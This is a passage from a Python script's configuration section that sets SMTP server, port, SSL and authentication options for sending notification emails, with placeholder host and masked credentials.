from email.MIMEText import MIMEText
# Change this to some value if you don't want your server hostname to show in
# the notification emails
THIS_SERVER = socket.gethostname()
# Server hostname or IP address
SMTP_SERVER = 'yourdomain.com.mail.protection.outlook.com'
SMTP_PORT = 25
# Set to True if you need SMTP over SSL
SMTP_SSL = False
# Set to True if you need to authenticate to your SMTP server
SMTP_AUTH = False
# Fill in authorization information here if True above
SMTP_USERNAME = '******'
SMTP_PASSWORD = ''
# Takes a single sender
